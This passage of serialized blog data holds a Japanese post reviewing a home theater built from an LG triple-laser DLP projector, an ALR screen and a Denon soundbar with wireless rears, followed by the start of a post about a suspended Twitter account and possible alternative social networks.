下3分の1は赤色と緑色の光が当たる時にミラーをレンズ方向に反射するように傾けレンズから光を出す(ON状態)\n\nこれによって上から黒赤黄で塗りつぶされたフレームが描画され、各フレームごとに繰り返すことで映像が作り出される。\nこの仕組みが理解できると、DMDのマイクロミラーの数がすなわちプロジェクターの画素数になるというのがピンとくるだろう。\nしかし4K画質となる3840x2160のマイクロミラーを搭載するDMDは現時点で市場に出回っていない。\nそのため、4Kプロジェクターでは4K画質を作り出す必要があるのだ[^1]。\n\n[^1]: JVCはDMDではなく反射型液晶技術として4K対応のチップを用いている [反射型液晶パネルD-ILAデバイス | 産業用部品 | JVC](https://www.jvc.com/jp/pro/candd/dila/)\n\n##### 画素ずらし\n\n市場に出回っている4Kプロジェクターが搭載するDMDの画素数(ミラー数)は1920x1080が多くを占める。この1080p画質から2160p画質を作り出す技術が画素ずらし手法(ピクセルシフト)だ。\n仕組みは簡単で、ピクセル(画素)が足りなければ増やせばいいという考えのもと、足りないピクセルの位置に画素をずらしたものを連続で投影するものだ。\n子供騙しのようだが、人の視覚は映像を見る時は時間方向に対しては脳の補完が効くため、重ねて投影されたように知覚し4K画質として感じ取れる。\n\n画素ずらしについて理解を深めたければ、次のページが参考になる。\n\n[4Kプロジェクターとその解像度を実現する技術とは | ベンキュージャパン](https://www.benq.com/ja-jp/knowledge-center/knowledge/true-4k-uhd-home-projector1.html)\n\nこの画素ずらしには、ピクセルを斜め方向に画素ずらして画素数を縦横√2倍する方式と、上下左右にそれぞれずらして縦横2倍にする方式がある。\n前者を半画素ずらし、後者を全画素ずらしなどと言ったりする。\n1920x1080画素のDMDでこの画素ずらしを行うと、半画素ずらしでは2175x1527ピクセルの擬似4K、全画素ずらしは3840x2160のTrue 4Kの映像が投影される。\n一見全画素ずらしの方が画素数が多く高画質だと考えがちだが、4回の画素ずらしをする分1フレームの画像を作るために4つの光が重ねて表示されるため、ボヤけて見えたり光が滲んで見えたりする製品も多い。\n\n半画素ずらしで3840x2160を実現できれば現時点での最高の4Kプロジェクターとなるが、そんな要望を叶えてくれるDMDが一つ存在している。\n[DLP660TE](https://www.ti.com/product/ja-jp/DLP660TE) だ。\n0.66インチという比較的大きなパッケージに2716x1528画素のマイクロミラーを搭載しているため、半画素ずらしで3840x2160のTrue 4Kが投影できるのだ。\nさいきょうのホームシアターを作るなら、DLP660TE搭載のプロジェクターしか考えられない。\n\n\n#### トリプルレーザー光源\n\nまずレーザーという単語の音の響きに感動してほしい。\n感動しなかった人はこのセクションは読み飛ばしてもらっていい。\n\nプロジェクターの心臓部とも言える光源は、古くは水銀ランプが使われており、今ではLEDとレーザーに置き換わろうとしている。\nそれぞれの特徴は下表の通り。\n\n光源 | 水銀ランプ | LED | レーザー\n---|:---:|:---:|:---:\n明るさ | ⚪︎ | △ | ⚪︎\n素早い起動 | △ | ⚪︎ | ⚪︎\n低消費電力 | △ | ⚪︎ | ⚪︎\n低価格 | ⚪︎ | △ | △\n長寿命 | △ | ⚪︎ | ⚪︎\n\nテレビの置き換えとしての利用を考えていることから、起動で待たされるのは論外。\n値は張るものの、明るさと長寿命を両立できるレーザー光源を選ぶほかないことは明らかだ。\n\nレーザー光源を選ぶと決めたら次は方式を考えないといけない。\nレーザー光源の中には、カラーホイール方式とトリプルレーザー方式があるのだ。\n\nカラーホイール方式はひとつの光源からの色を三原色に変換して投影するもので、水銀ランプでも用いられる歴史ある手法だ。\nコストは低いが色の再現度が低かったり、光の滲みが出たりするといった欠点がある。\n\n\n&copy; [Hachikou](https://commons.wikimedia.org/wiki/User:Hachikou) from [Wikimedia](https://commons.wikimedia.org/wiki/File:DLP_Color_wheel.gif) - [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en)\n\n対してトリプルレーザー方式は、3つのレーザー光源を用意して三原色を別々の光源として搭載する方式。\nただでさえ高価なレーザーを3つも搭載するためハイエンドプロジェクターでしか採用されないが、さいきょうのホームシアターを作るならこれ一択。\n\n### 100インチ ALR スクリーン\n\n視聴距離と近眼の能力とを考え100インチのサイズがバランス良いと判断した。\n前途の通りUSTプロジェクターにはスクリーンのシワは致命的なので、フレームにスクリーンをピンッと張ってシワを作らないUSTプロジェクター用のスクリーンに絞る。\n\nそしてテレビ代わりとしての日常使いをすることから、明るい部屋や日中の陽が差し込む環境での利用にも耐えられるスクリーンが望ましい。\nそんなスクリーンが存在するのかという疑問が湧くが、USTプロジェクター向けには「耐外光スクリーン」なるものがあるのだ。\n英語ではAmbient Light Rejecting、ALRスクリーンと呼ばれるもので、USTプロジェクターの特性に合わせた加工がされている。\n\nUSTプロジェクターからの映像は下方から上方に向かって投影され、その映像がスクリーンに反射したものを水平方向から視聴する。\n対してシーリングライトや太陽光などの環境光(Ambient Light)の向きは上方から下方である。\nALRスクリーンはその光の向きの違いを利用したもので、下方からの光を水平方向に反射しやすくし、上方からの光は反射しにく加工されている。\n\n\n引用元: https://kakakumag.com/av-kaden/?id=19053\n\n\n### Dolby Atmos対応サウンドバー + ワイヤレスリア\n\n最近どっぷりハマっているオブジェクトオーディオ。Apple Musicでは空間オーディオの曲ばかり聴いているくらいハマっている。\nAirPods Proはもちろんのこと、Denonのサウンドバー DHT-S517を導入している。\n\n<a href=\"https://www.amazon.co.jp/dp/B09P4X7ZG5?&linkCode=li3&tag=mzyy-22&linkId=0dc185569f17e27e3941c7ce9be057c3&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B09P4X7ZG5&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li3&o=9&a=B09P4X7ZG5\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon.co.jp: デノン サウンドバー Dolby Atmosイネーブルドスピーカー内蔵 ワイヤレスサブウーハー付き 3.1.2ch DHT-S517K ブラック HDMI : 家電&カメラ](https://www.amazon.co.jp/dp/B09P4X7ZG5?&linkCode=ll1&tag=mzyy-22&linkId=e2c97672ff1facb1b6d3b3e9a651185f&language=ja_JP&ref_=as_li_ss_tl)\n\nバランスが良くイネーブルドスピーカー搭載ともあって、Dolby Atmosのオブジェクトオーディオ感はすこぶる良い。\nただ、サラウンドといえば後ろからもドーン、というような古い凝り固まった聴覚をしているため、リアルなリアスピーカーも欲しくなってきた。\nでも煩わしいケーブルの配線はしたくない。そんなニーズに応えてか、Dolby Atmos対応のサウンドバーに後付けでワイヤレスのリアを追加できる製品がいくつか発売されているため、さいきょうのホームシアターのためにオーディオシステムの変更をする。\n\n## 実際に購入したもの\n\n先に金額だけ記しておくと、合計734,400円でさいきょうのホームシアターを組むことができた。\n\n### LG HU915QE\n\n<a href=\"https://www.amazon.co.jp/dp/B0B754XM4J?&linkCode=li2&tag=mzyy-22&linkId=1944ff50db4a427355556e04a1dd4835&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0B754XM4J&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B0B754XM4J\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon.co.jp: LG 超短焦点 4K レーザー プロジェクター(4K/3,700ANSI lm/HDR/web OS〔Prime Video,Netflix,DAZN等対応〕/Airplay2, Miracast/Bluetooth) HU915QE : 家電&カメラ](https://www.amazon.co.jp/dp/B0B754XM4J?&linkCode=sl1&tag=mzyy-22&linkId=84d4e27c6bba8fde4f880a3a1f93a382&language=ja_JP&ref_=as_li_ss_tl)\n\nプロジェクターはLG HU915QEを購入。\n4K USTレーザープロジェクターはLG、XGIMI、HP、OPTOMAなど限られた会社から合わせて国内10製品ほどが発売されているが、トリプルレーザーとなるとほぼ一つに絞り込まれる。\n去年までは旧世代品のHU85LSが唯一の欲望を満たす存在だったため、理想のプロジェクターだったその後継機を手に入れられて買っただけで満足感が高い。\n\n\n購入価格はビックカメラで549,800円+ポイント還元でお買い上げ。いわゆる定価やメーカー希望小売価格というやつで、Amazonだと少し販売価格は下がっている。\n実はこの製品、円安の今はとてもお買い得な製品でもある。\n\n米国での[メーカー直販価格](https://www.lg.com/us/projectors/lg-hu915qe-4k-laser-projector)は$5,999.99なので、これを日本の希望小売価格と照らし合わせると**1ドル91円で換算**されているのだ。\n購入時の為替レート1ドル135円で希望小売価格を計算すると約81万円となるし、執筆時の米Amazon.com販売価格$4,799.00と為替レート1ドル143円で計算しても68万円を超える。\nこのお買い得感に感動して、今でも注文明細書を見るだけで満足感がドバドバ溢れ出てくる。\n\n[HU915QE \\| プロジェクター \\| LGエレクトロニクス・ジャパン](https://www.lg.com/jp/home-video/lg-hu915qe)\n\n### 中華ALRスクリーン\n\n<a href=\"https://s.click.aliexpress.com/e/_DmTC73L\" target=\"_blank\"><img src=\"//ae01.alicdn.com/kf/S76d41173ed6249af9c03be34d33880ces.jpg_350x350.jpg\" /></a>\n[高音アンビエントライト付き水平ガラスベッド,サイズ60 \"-2023\",ウルトラスロープロジェクター用,新品,120 - AliExpress](https://s.click.aliexpress.com/e/_DmTC73L)\n\nALR スクリーンは国内で販売しているものは相場よりやや高価で、特に値段に比例して高品質であるというようなのも見かけなかったため、AliExpressで購入した。\nおまとめ購入値引きなどが他の製品と合わせて計算されていて正確な購入価格がわからないが、63,900円前後で購入した。\nFedexから諸費用で追加の4,000円を請求されたため、かかった費用は68,000円ほどとなる。\n\n### Denon Home Sound Bar 550 + Denon Home 150\n\n<a href=\"https://www.amazon.co.jp/dp/B0BYV433XZ?_encoding=UTF8&th=1&linkCode=li2&tag=mzyy-22&linkId=14abf2dc4b2d54666c1afd31573ee752&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0BYV433XZ&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B0BYV433XZ\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon.co.jp: デノン Denon Dolby Atmos対応 DENON HOMEワイヤレスサラウンド・スタートセット DENONHOMESB550SET : 家電&カメラ](https://www.amazon.co.jp/dp/B0BYV433XZ?_encoding=UTF8&th=1&linkCode=sl1&tag=mzyy-22&linkId=4ca1d32d0e1a17d1621a8615edd73c1d&language=ja_JP&ref_=as_li_ss_tl)\n\nDolby Atmos対応でワイヤレスリアにも対応するサウンドバーは片手で数えられるほどしかない。\n中でも2020年発売のSonos Arcの後継品を狙っていたが発売されず。新製品が出そうな予感を抱えながら型落ちのを買う勇気は出なかったので、聴き慣れたDenonの音作りを信用してDenon Home 550をチョイスした。\nこれにワイヤレスリアスピーカーとしてDenon Home 150を2台購入。\n総じて63,000円と26,800円x2で116,600円。\n\n一つ誤算だったのが、イネーブルドスピーカーがDenon Home Sound Bar 550にはなかったこと。\nてっきりDHT-S517と同様に搭載しているものだと思い込んでいたが、実際は仮想的に高さ方向の音を出す製品だった。\nこの一点においてはSonos Arcにしておけばよかったかもと少し後悔した部分でもある。\n\n## ホームシアター設営\n\n### 100インチALRスクリーン設置\n\n\n\n最初にスクリーンを設置し投影する位置を決める。\nこの設置したスクリーンの高さによってプロジェクターの設置の高さも決まる。\n高さ調整のできないテレビ台などにプロジェクターを置くつもりであれば、事前にマニュアルに記載のスクリーンサイズと投影高の計算をして高さを決めておく。\n\n主な設置作業はというと、大きな箱に分解されたフレームと丸められたALRスクリーンが入っているので、マニュアル通りに金具を組み付けていくだけだ。\n100インチの横幅は両腕を広げた大きさよりもデカいが、成人男性一人でも組み立てられた。\n壁にかけるときに苦労したので、二人での作業をおすすめする。\n\n\n\n\n\n### プロジェクター本体\n\n\n\n本体を取り出してテレビ台の上に置き、電源を接続すれば設置はほぼ完了。\nまずは本体上部に隠れているフォーカスダイヤルを回してピントを合わせ、本体を少しずつ前後に動かしながら投影サイズの調整をする。\n最初は映像が台形や菱形に投影されているので、本体を左右にずらしたり回転させたりして形を方形に近づけていく。本体の足の長さを調整するのもポイントとなる。\n完璧にスクリーンに16:9の映像が投影できれば補正は必要ないが、大抵はどこかが歪んでいるので、9または15ポイントエッジ補正をかけて美しい形に整える。\n\n\n\n### サウンドバー + ワイヤレスリア\n\n\n\nこれも接続は簡単で、電源とHDMIケーブルを接続してアプリでWi-Fi接続を行うだけだ。\n設置位置は壁にかけてみたり下に置いてみたりと色々と試行錯誤したものの、最近はプロジェクター本体の上に置いている。\nDenon Home Sound Bar 550がちょうど映像を邪魔しない高さでプロジェクターの横幅よりも小さいため、ここに置いてくださいと言わんばかりのスペースとなっている。\n\nワイヤレスリアスピーカーは耳の高さに置くようにと説明があったため、無印良品の壁に付けられる家具棚でソファに座ったときに耳の位置にくる高さに棚を設置し、そこに置く形とした。\n\n\n\n\n\n<a href=\"https://www.amazon.co.jp/dp/B08N15MFRJ?th=1&linkCode=li2&tag=mzyy-22&linkId=7fa1ba0bb7b52b0a04f8b7d0d53012e1&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08N15MFRJ&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a><img src=\"https://ir-jp.amazon-adsystem.com/e/ir?t=mzyy-22&language=ja_JP&l=li2&o=9&a=B08N15MFRJ\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" />\n[Amazon|無印良品 壁に付けられる家具棚 オーク材突板 11cm 82944822|オープンシェルフ・ラック オンライン通販](https://www.amazon.co.jp/dp/B08N15MFRJ?th=1&linkCode=sl1&tag=mzyy-22&linkId=1532620ce3e1eb11a404876112e19bb3&language=ja_JP&ref_=as_li_ss_tl)\n\n## 3ヶ月間使ってみてのレビュー\n\n★★★★★ 4.7\n\n### プロジェクター本体\n\n\n\n映像面では期待を裏切ることのない画を映し出してくれている。\nこの美麗な映像体験を文字の羅列で伝えるのは難しいのであまり多くは語れないが、ミドルレンジのプロジェクターとは比較にならないクオリティを感じられる。\n家庭でプロジェクターを常用していたのは10年以上昔だが、この10年でここまで高色域で高精細なものが家で観られる時代になったのかと技術進歩の偉大さに感動した。\n店頭で試写しているところもあるようなので、ぜひ適当なインターネットの評論を鵜呑みにせずその目でTrue 4KでトリプルレーザーでDLPの凄みを体感してほしい。\n\nプロジェクターでスクリーンに映画を投影してみるシネマ体験が特別なものになるようにと、[FILMMAKER MODE](https://filmmakermode.com/)に対応しているのもLGのハイエンド製品ならではである。\nこの機能によってプライムビデオなどで映画を再生していることを検知すると、映像モードやフレームレートをコンテンツに合わせ映画館で上映する映像品質に近づけてくれるのだ。\n作品が本来持つ魅力を引き出してくれ、映画を観るという時間そのものの質を高めてくれる。\n\nこれまで液晶テレビでは数時間の視聴で眼精疲労が溜まる傾向にあったが、不思議とプロジェクターに入れ替えてからは疲れを感じたことがない。\nどういった違いによるものなのかはわからないが、これだけ明るくデカい映像なのに連続で映画を鑑賞し続けられるので眼に優しいのかもしれない。\n\nテレビの置き換えとしては、チューナーがないので地上波は視聴できないが、その代わりにリモコンからNetflixやプライムビデオがワンボタンで起動できるようになっている。\nおかげでNHK受信料の支払いとも縁が切れ、配信サービス中心のライフスタイルへと変化したが、慣れてしまえばこれがとても快適に感じる。\nなんだったらHuluもParaviもアプリストアにあるので、地上波コンテンツが見たければ課金してCM無しの作品を堪能できるのでより生活が豊かになる。\n起動時間もリモコンからパワーオンして10秒程度で映像が映り、少し古いテレビくらいの感覚で許容できる範囲である。\n\n機能面では、搭載ソフトウェアが不便で重いAndroid TVではなくwebOS 6.0搭載というのもポイントが高い。\nプリインストールアプリも充実していて、Netflix/プライムビデオ/Disney+とサブスクを契約している3社が全て最高品質[^2]で視聴できる。\n加えてアプリストアにあるApple TV+のアプリでは、iTunes Storeで購入・レンタルした映像も最高品質で視聴できる。\nこれまでこの4社のコンテンツを最高品質で視聴するにはApple TV 4Kが必要だったが、その機能がまるッと搭載されていて高い利便性とお得感がある。\n\n[^2]: 4K UHD/Dolby Vision,HDR+/Dolby Atmos 対応コンテンツの視聴が制限されず制約がない状態\n\n地上波の代わりに使いたかったABEMAはLGのテレビ/プロジェクターにはアプリを提供していないようで、アプリストアには表れなかった。\nただ、このプロジェクターはAirPlay 2に対応しているので、【推しの子】を始めとする地上波同時最速配信をAirPlayで映し出すことができる。\nHomeKitにも対応していて、同じWi-Fiに繋がったiPhoneやiPadなどからリモコンのカーソル操作や音量調整、電源のON/OFFができるのも嬉しいポイント。\nHomePodがあれば外出先からもプロジェクターの操作ができたりもするので、ほぼApple TVのような使い方ができてしまう。\n\nゲームの機能では、FPSなどに向いた映像の調整ができるゲームオプティマイザがあるが、最近はFPSとは無縁な生活を送っているので効果のほどは確認できていない。\nそれよりもゲームに役立つと感じたのは、内臓ブラウザとプロジェクターの映像をPicture by Pictureで左右に半分ずつ表示できる機能だ。\n半分になっても50インチの画面サイズなので、お気に入りのSNSで交流したり攻略サイトを見たりしながらゲームを快適に進められる。\n\n\n\n\nプロジェクター本体のスピーカーは2.2ch(40W)で、ステレオにしては良い音が出ていると感じるものの、これを常用したいとは感じないものだった。\nBluetoothや光端子で接続した同社のスピーカーと組み合わせてワイヤレスリアを追加できるので試してみたものの、まとまらない音でお世辞にもサラウンドとしての質は良いものではなかった。\n\n\n\nハイエンドなだけあっていいことづくめだが、明るく綺麗な映像とのトレードオフで発熱が大きい。\nプロジェクター本体に近づくとじんわりと温もりを放っていることを感じる上、本体向かって右側から出る排気熱は実測で35℃を超えていた(室温25℃時)。\n十分に換気されている部屋では室温の上昇は僅かに留まっていたが、HISENSEの75インチ液晶テレビ以上の熱源となっていることは間違いない。\n夏場は冷房性能などにも悪影響を与えかねないが、冬場は映像も観れる暖房器具として一石二鳥だ。\n\n### ALRスクリーン\n\n耐外光という言葉に偽りなしというのを実感した。\nこれは晴れた休日の昼間に室内灯を全てONにして明るくした部屋で動画を流している状態をiPhoneで適当に撮ったもの(合成・調整なし)。\n目の前に鮮やかで明るい映像がしっかりと投影されていて、プロジェクターの性能もさることながら、ALRスクリーンによって環境光が映像の邪魔をしていないことが見て取れる。\n肉眼ではもっと明るく見えており、プロジェクターで綺麗に投影するには周りを暗くしないといけないという常識を覆され感動を覚えるほどだ。\n\n\n\nベゼルが1cmととても薄いのも相まって、映像の迫力を何倍にも増していて没入感が小規模映画館を軽く超えていると感じた。\n表面加工がデリケートなので定規などの固いものが擦れてしまうと傷ができてしまうが、その程度であれば映像には影響を与えないようだ。\n\n\n\n\n### Dolby Atmos + リアサラウンド\n\n期待のDenon Home Sound Bar 550とDenon Home 150の組み合わせは想像以上に満足感ある音を体験できた。\n\nDisney+で映画をいくつか観てみたが、Dolby Atmosに関してはDHT-S517と比較して音の物理的な空間が広がったように感じた。\n後方の迫力が増すのはいわずもがな、真横などの音もサウンドバーとリアスピーカーでうまくその位置から聞こえるように音を作ってくれていて広さが表れている。\n\n後ろ2つのスピーカーが低音もよく出してくれることから、イネーブルドスピーカーで作られていた後方の音とはまた違った迫力が追加されていた。\nイネーブルドスピーカー非搭載の影響で、7.1.4chのDobly Atmosデモでは上配置のスピーカーから聞こえるような感覚は減少していたが、高さを感じることはできた。\n高さ方向の音情報がゼロになるんじゃないかと心配していたが、多少は再現できていたことに少し安堵した。\n\n\n\n5.1/7.1サラウンドの体験では、リアから音がしっかり届くのはサラウンドで欠かせない要素であることを改めて理解した。\nDHT-S517もサラウンドとしての音の空間の作り方は良かったのだが、イネーブルドスピーカーで作り出す後ろからの音には弱さがあった。\n後ろから物理的に音が届くという現実の音に近い感覚は、ゼルダの伝説をプレイしている時に臨場感や没入感を最大限に引き上げてくれる。\nSplatoon 3で後方からの敵の音に瞬時に反応できるようになった変化は、全身への音の伝わりがよくなっていると実感した。\n\n音質以外の面では小さな不満があり、一番のマイナスポイントはSpotifyやAWAなどの単体再生に対応しているのにApple Musicは非対応なところ。\n加えて両製品ともマイクが搭載されているのに自動チューニングが搭載されていないこと。\nどちらも[HEOS](https://www.denon.jp/ja-jp/shop/avreceiver_ap/heosapp_ap)というアプリがしょぼいために機能不足となっている。\nSonos ArcはApple Musicの空間オーディオを単体再生できる上に、iPhoneのマイクで(Sonos Eraは内蔵マイクで)自動チューニング([TruePlay](https://support.sonos.com/ja-jp/article/tune-your-sonos-speakers-with-trueplay))ができるとあって、隣の芝生が青くみえて不満が湧いている。\n\n## まとめ\n\nぼくのかんがえたさいきょうのホームシアターを作ると言うからには、最低100万円はかかると覚悟していた。\n結果は予算を余らせてこのクオリティを実現できたことに少し驚いている。\n本格的にアンプやスピーカーを配置したり音の反響にまでは拘らない、いわゆるリビングシアターにしては高価格帯ではあるが、十分に100万円超のホームシアターと太刀打ちできるレベルにあると感じる。\n\n当初の目標であった近眼との勝負では、概ね期待通りという結果だった。\nフルHD画質のコンテンツは裸眼でも快適に視聴できたのだが、4K UHD画質では僅かにぼやけて見えるところがあった。\nテレビと違ってプロジェクターはスクリーンの入れ替えで画面を大きくできるので、ゆくゆくは120インチのスクリーンに取り替えることになるだろう。\n\nまだまだ近眼と大画面との戦いは終わることを知らない。\n"]}],[0,{"slug":[0,"2023/07/05/wildebeest-fediverse/"],"data":[0,{"title":[0,"Twitterが凍結されたのでWildebeestでFediverseに移住した"],"date":[3,"2023-07-05T11:30:00.000Z"],"image":[0,"/assets/images/2023/07/05/profile.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Misc"]]],"tags":[1,[[0,"twitter"],[0,"cloudflare"],[0,"fediverse"],[0,"wildebeest"]]]}],"content":[0,"\n**まだTwitterで消耗しているの?**\n\n遡ること2023年4月末。世間が数年ぶりの我慢のいらないGWを満喫しようと熱気を帯びている時期に、凍てつくような出来事が起きた。\nいつも通り深夜までTwitterをして寝て起き、手ぐせのようにTwitterを開くと見慣れないダイアログが表示された。\n\n\n\n「ご利用のアカウントは永久凍結されています」\n\n状況を飲み込むのに2秒もかからなかった。ああ、ついにきたかと。\nイーロン・マスク体制になっていつか訪れると思っていた終わりがやってきたことを理解した。\n\n## 目次\n\n\n## 永久凍結、そしてアカウント消失\n\n凍結されると「異議申し立て」として異論を唱える機会が訪れるのだが、フォームより何度再審査リクエストを送っても連絡は来なかった。\n毎日フォームを埋めて送ってみたり日本語・英語・中国語のバリエーションを用意したり。それでも自動応答のメールすら来やしない。\n\nところがある日、一通のメールがTwitterから届く。\n\n\n\n謎の二要素認証をオフにしたという通知。そんな操作は一切行っていないのでどういうことかとTwitterアプリを開くと「ログインしてください」と表示された。\nログインしようにも@mzyy94のアカウントが見つかりませんとの表示が出て先に進めない。\nどうやら@mzyy94のアカウントがTwitterの社員によって削除されたようだ。\n\n\n\n通常は凍結されているアカウントの削除はできないのがTwitterの仕様だ。しかしTwitter内部の犯行であればその限りではない。\nTwitter社の内部には管理画面にアクセスできる不届きものが凍結操作をして私欲を満たしているという噂があるが、そのような者が行なった可能性が考えられる。\n\n## 新しい居場所を求めて\n\nかくしてTwitterのアカウントが凍結され消滅した。\n特にサブ垢があるわけではないので、居場所をTwitterから完全に失った形となる。\n凍結直後はJALのセールで買っていた航空券で九州から北海道まで飛び回る予定があったため、しばらくSNSの中心はSwarmに移動した。\n旅先でTwitterのオタクにおすすめしてもらったお店に行こうとするが、凍結されるとブックマークが全て削除されてしまうため、ツイート検索で探し出す必要があった。\nその点を除いてはTwitterがなくてもSwarmで十分だと感じていた。\n\n<a href=\"https://www.swarmapp.com/user/85529321/checkin/644647661dbc900615d77b95?s=_roMlZjrGaaoDIK4TvD5mINjW0E\" target=\"_blank\" rel=\"noopener\">\n<div class=\"-outline-offset-1 w-[438px] max-w-full cursor-pointer overflow-hidden rounded-[0.85714em] border-[1px] border-[#e1e8ed] leading-[1.3em] text-black inline-block\"><div class=\"h-[220px] border-b-[1px] border-[#e1e8ed] bg-cover bg-center bg-no-repeat\" style=\"background-image: url(&quot;https://fastly.4sqi.net/img/general/1200x630/85529321_VtgRAjbnuUSTQNxf4QevSb_n3pQIukqFM4ZJVOHJ5nw.jpg&quot;);\"></div><div class=\"break-words border-[#dadde1] p-[0.75em] antialiased bg-white\"><div class=\"block border-separate select-none overflow-hidden break-words text-left\" style=\"border-spacing: 0px;\"><div class=\"m-0 mb-[0.15em] truncate text-[14px] font-semibold leading-[18px]\">ステーキサロン アサクラ</div><div class=\"mt-[.32333em] block max-h-[2.6em] border-separate select-none overflow-hidden truncate whitespace-nowrap break-words text-left text-[14px] leading-[18px]\" style=\"-webkit-line-clamp: 1; border-spacing: 0px; -webkit-box-orient: vertical;\">Steakhouse in 佐世保市, 長崎県</div></div><div class=\"mt-[0.32333em] overflow-hidden truncate whitespace-nowrap text-[14px] lowercase leading-[18px] text-[#8899a6]\">swarmapp.com</div></div></div>\n</a>\n\n<a href=\"https://www.swarmapp.com/user/85529321/checkin/644a4e983133601afc4d9cee?s=1aDrQEouE3ma9JLBT9YrnuTnjZ4\" target=\"_blank\" rel=\"noopener\">\n<div class=\"-outline-offset-1 w-[438px] max-w-full cursor-pointer overflow-hidden rounded-[0.85714em] border-[1px] border-[#e1e8ed] leading-[1.3em] text-black inline-block\"><div class=\"h-[220px] border-b-[1px] border-[#e1e8ed] bg-cover bg-center bg-no-repeat\" style=\"background-image: url(&quot;https://fastly.4sqi.net/img/general/1200x630/85529321_IzPN2t6-sTnW65Yd4psCD0OnINO4RrUQuBe2aGCdVAc.jpg&quot;);\"></div><div class=\"break-words border-[#dadde1] p-[0.75em] antialiased bg-white\"><div class=\"block border-separate select-none overflow-hidden break-words text-left\" style=\"border-spacing: 0px;\"><div class=\"m-0 mb-[0.15em] truncate text-[14px] font-semibold leading-[18px]\">石鍋亭</div><div class=\"mt-[.32333em] block max-h-[2.6em] border-separate select-none overflow-hidden truncate whitespace-nowrap break-words text-left text-[14px] leading-[18px]\" style=\"-webkit-line-clamp: 1; border-spacing: 0px; -webkit-box-orient: vertical;\">Sake Bar in 札幌市, 北海道</div></div><div class=\"mt-[0.32333em] overflow-hidden truncate whitespace-nowrap text-[14px] lowercase leading-[18px] text-[#8899a6]\">swarmapp.com</div></div></div>\n</a>\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">mzyy94,swarmでTwitterしてる</p>&mdash; かとう (@katoharu432) <a href=\"https://twitter.com/katoharu432/status/1662777633485238272?ref_src=twsrc%5Etfw\">May 28, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nしかしSwarmは位置情報連動型SNSのため、自宅や仕事中に延々と脳と直結して感情を垂れ流す用途には当然向かない。\n駄文を安定して自由気ままに垂れ流してもアカウントが消えない、そんな実家のような安心感のある地を凍結中に探し回っていた。\n\n### Mastodon\n\nTwitterの代替として数年前から賑わいを見せ何人かのオタクが移住していったSNS。\nTwitterのような肥溜めとしての性質も併せ持つため、実家に近い安心感はある。\nしかし[mstdn.jp](https://mstdn.jp)/[pawoo.net](https://pawoo.net)/[friends.nico](https://friends.nico/)など多くのインスタンスが存在し、それぞれが多かれ少なかれコミュニティのようなものを形成している。\n加えて運営する企業の気分によってサービス終了したり事業譲渡されたりと不安定な状況が散見される。\n自分でインスタンスを立てるのもアリだが、肥溜めのためにサーバー管理をしたくない。\n\n### Weibo\n\nほぼ全世界でTwitterが使われているが、中国はそうではない。そこには独自のSNSとしてWeibo(微博)が存在する。\nTwitterはイーロン・マスクのような狂った人間に管理されているが、Weiboは同様の狂気を持つ国家が管理しているようなものだ。\n感性が壊れた今となっては、一個人の暴走によって壊れるTwitterと違ってWeiboの方が安定性は良いように感じられる。\n検閲や各種規制に屈する必要はあるが、マイクロブログサービスとしての地盤は固く楽しめる余地は大いにありそうだ。\n\n少し利用をしてみたが、構築する関係性によっては求めるような居場所を作れそうな気がした。\nただ、中国語を学び日常的に使えるようになる必要があるのと、文化の違いを強く意識する必要があるのを解消できる目処が立たなかった。\n\n\n## Twitterの崩壊とポストTwitter\n\n6月末から7月頭にかけて、皆がTwitterが壊れていく中で慌てふためいているのを目にするようになった。別れのシーズンの到来だ。\nとっくにTwitterから卒業している身としては、やっと時代が追いついてきたかという感想だ。\n\nこのタイミングで移住先を検討し始める輩が増えてきたが、そこで挙がるのがポストTwitter。\nどれも前々からみたり触れたりしてきたが、正直どこも今の壊れたTwitterにすら到底及ばない代物としか感じなかった。\n\n### Bluesky\n\n[blueskyweb.xyz](https://blueskyweb.xyz/)\n\nTwitterのCEOを降りイーロン・マスクに明け渡す結果となり、Twitterを崩壊に導いた元凶たるジャック・ドーシーが関与している新興SNS。\n完成度が低すぎる上に改善傾向も見られず、日常遣いに耐える気がしない。\n数年前に新興SNS [Clubhouse](https://www.clubhouse.com/)が登場して盛り上がっていた「にわか」たちの餌食になっているようにも見え、数ヶ月もしないうちにまたどこかに消えて誰も使わなくなるんだろうと予想している。\n\n### Threads by 